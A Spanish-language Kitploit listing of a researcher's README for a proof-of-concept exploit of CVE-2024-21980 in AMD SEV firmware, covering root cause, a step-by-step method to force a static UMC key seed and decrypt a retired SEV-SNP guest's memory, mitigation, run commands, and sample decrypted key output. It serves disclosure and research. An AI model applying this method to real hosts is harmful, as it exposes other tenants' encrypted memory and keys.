Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2024-21980-poc — Exploit para CVE-2024-21980 dirigido al firmware AMD SEV para descifrar memoria arbitraria de invitados SEV-SNP retirados mediante una omisión de la aplicación del búfer de comandos. | Kitploit
Herramientas/GitHubGitHub/freax13/cve-2024-21980-poc
Herramientas de Cifrado/DescifradoAnálisis de VulnerabilidadesExplotaciónSeguridad de HardwareDesarrollo de PayloadsExplotación de Binarios
GitHubfreax13/cve-2024-21980-poc

cve-2024-21980-poc

Exploit para CVE-2024-21980 dirigido al firmware AMD SEV para descifrar memoria arbitraria de invitados SEV-SNP retirados mediante una omisión de la aplicación del búfer de comandos.

Ver Repositorio
815hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad del firmware SEV

Este repositorio contiene un exploit para una vulnerabilidad en el firmware SEV. El exploit permite descifrar memoria arbitraria de un invitado SEV-SNP después de que haya sido dado de baja.

Probado en la versión 1.55.16 (la más reciente al momento de escribir esto).

Causa raíz

El firmware SEV tiene una tabla llamada master_handler_table que contiene punteros a funciones para todos los comandos, junto con algunas propiedades adicionales relevantes para los comandos. Dos de esas propiedades adicionales son cmd_buf_type y snp_cmd_buf_enforcement. cmd_buf_type determina si el búfer de comandos debe copiarse desde y/o hacia la memoria del host. snp_cmd_buf_enforcement determina si estas operaciones de copia deben estar sujetas a comprobaciones que verifican que la memoria que respalda el búfer de comandos está en estado FIRMWARE o DEFAULT. Los comandos cuyo cmd_buf_type es CMD_BUF_OUTPUT_ONLY, CMD_BUF_INPUT_AND_OUTPUT o CMD_BUF_INPUT_AND_OUTPUT_ERROR deberían tener snp_cmd_buf_enforcement establecido en true. De lo contrario, la escritura de la salida del comando podría causar corrupción de memoria dentro del área cubierta por RMP. snp_cmd_buf_enforcement es true para todos estos comandos con una excepción: SEV_MCMD_ID_ATTESTATION: Este comando tiene cmd_buf_type establecido en CMD_BUF_INPUT_AND_OUTPUT_ERROR, pero también tiene snp_cmd_buf_enforcement establecido en false. Como resultado, es posible ejecutar SEV_MCMD_ID_ATTESTATION con un búfer de comandos que apunte a memoria cubierta por RMP y que esa memoria se corrompa una vez que se escriba la salida.

No veo por qué SEV_MCMD_ID_ATTESTATION necesitaría ser una excepción; me parece plausible que esto pueda ser un error tipográfico o de copiar y pegar.

Exploit

SEV_MCMD_ID_ATTESTATION solo escribe en un único campo, length (4 bytes), del búfer de comandos, por lo que esos son los únicos bytes que podemos usar para corromper memoria. SEV_MCMD_ID_ATTESTATION siempre escribe el mismo valor: 0x000000d0. Afortunadamente, no hay requisitos de alineación para el búfer de comandos, por lo que podemos desplazar el búfer de comandos repetidamente para corromper un rango más amplio de memoria contigua. Usaremos esto para corromper los primeros 16 bytes de una página de contexto de invitado con un patrón estático. Esos primeros 16 bytes contienen la semilla de clave UMC y, al forzarla a un valor estático, podemos forzar que la clave de cifrado del invitado sea un valor estático.

El exploit proporcionado aquí se basa en gran medida en el que proporcioné para SWPSIRT-2684/CVE-2023-31355.

Para explotar la vulnerabilidad podemos ejecutar los siguientes pasos:

  1. Lanzar un invitado SEV o SEV-ES. Esto es necesario para SEV_MCMD_ID_ATTESTATION. Mantener este invitado en ejecución.
  2. Crear una página de contexto de invitado en la dirección 0x2000 para el invitado víctima. Cualquier otra dirección en el área cubierta por RMP también serviría, aunque una dirección fija es útil para depurar.
  3. Usar la vulnerabilidad para corromper la semilla de clave UMC del invitado víctima.
  4. Activar la página de contexto del invitado víctima y lanzar y ejecutar el invitado víctima.
  5. Dar de baja al invitado víctima.
  6. Crear una página de contexto de invitado en la dirección 0x2000 para el invitado atacante. Esta tiene que ser la misma dirección utilizada en el paso 1.
  7. Usar la vulnerabilidad para corromper la semilla de clave UMC del invitado atacante.
  8. Activar la página de contexto del invitado atacante y lanzar con el indicador de depuración habilitado.
  9. Asignar la memoria del invitado víctima al invitado atacante.
  10. Usar el comando SNP_DBG_ENCRYPT para descifrar la memoria del invitado víctima usando la página de contexto del invitado atacante. Esto tendrá éxito porque el invitado víctima y el invitado atacante comparten una semilla de clave UMC.

Impacto

El impacto aquí debería ser al menos el mismo que con SWPSIRT-2684. No tengo claro en este momento si este error puede usarse para descifrar la memoria de un invitado en ejecución antes de que haya sido dado de baja.

Mitigación

snp_cmd_buf_enforcement debería establecerse en true para SEV_MCMD_ID_ATTESTATION.

Curiosamente, los parches de soporte del host KVM de Linux no necesitan actualizarse porque ya enumeran SEV_CMD_ATTESTATION_REPORT en sev_cmd_buf_writable como un comando que requiere que su búfer de comandos esté en estado FIRMWARE. Puede que se necesiten cambios o no para otros hipervisores.

Uso del PoC

  1. Cambiar el área cubierta por RMP en la BIOS a 64GiB (0x10000 páginas de 1 MiB). Si tu sistema no lo soporta, los parches de Linux deberán ajustarse en consecuencia. El PoC ha sido probado en un sistema con 128GiB de memoria.
  2. Aplicar los parches de la carpeta linux-patches a la punta de https://github.com/AMDESE/linux/commits/snp-host-v10. Compilar, instalar e iniciar el kernel.
  3. Lanzar un invitado SEV o SEV-ES y mantenerlo en ejecución.
  4. Lanzar un invitado víctima SEV-SNP.
  5. Detener al invitado víctima.
  6. Inspeccionar los registros del kernel para encontrar la ubicación de la página secreta creada durante el lanzamiento.
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. Ejecutar el PoC.
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    Raw page:
    000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
    020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 000000000000000000000000a98d95ff
    vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    Ten en cuenta que las páginas secretas no tienen nada de especial; este exploit también puede usarse para descifrar páginas normales. Las páginas secretas se usan en el PoC porque tienen un contenido muy reconocible que facilita ver que el descifrado de la memoria de la víctima ha tenido éxito.
Descargar herramienta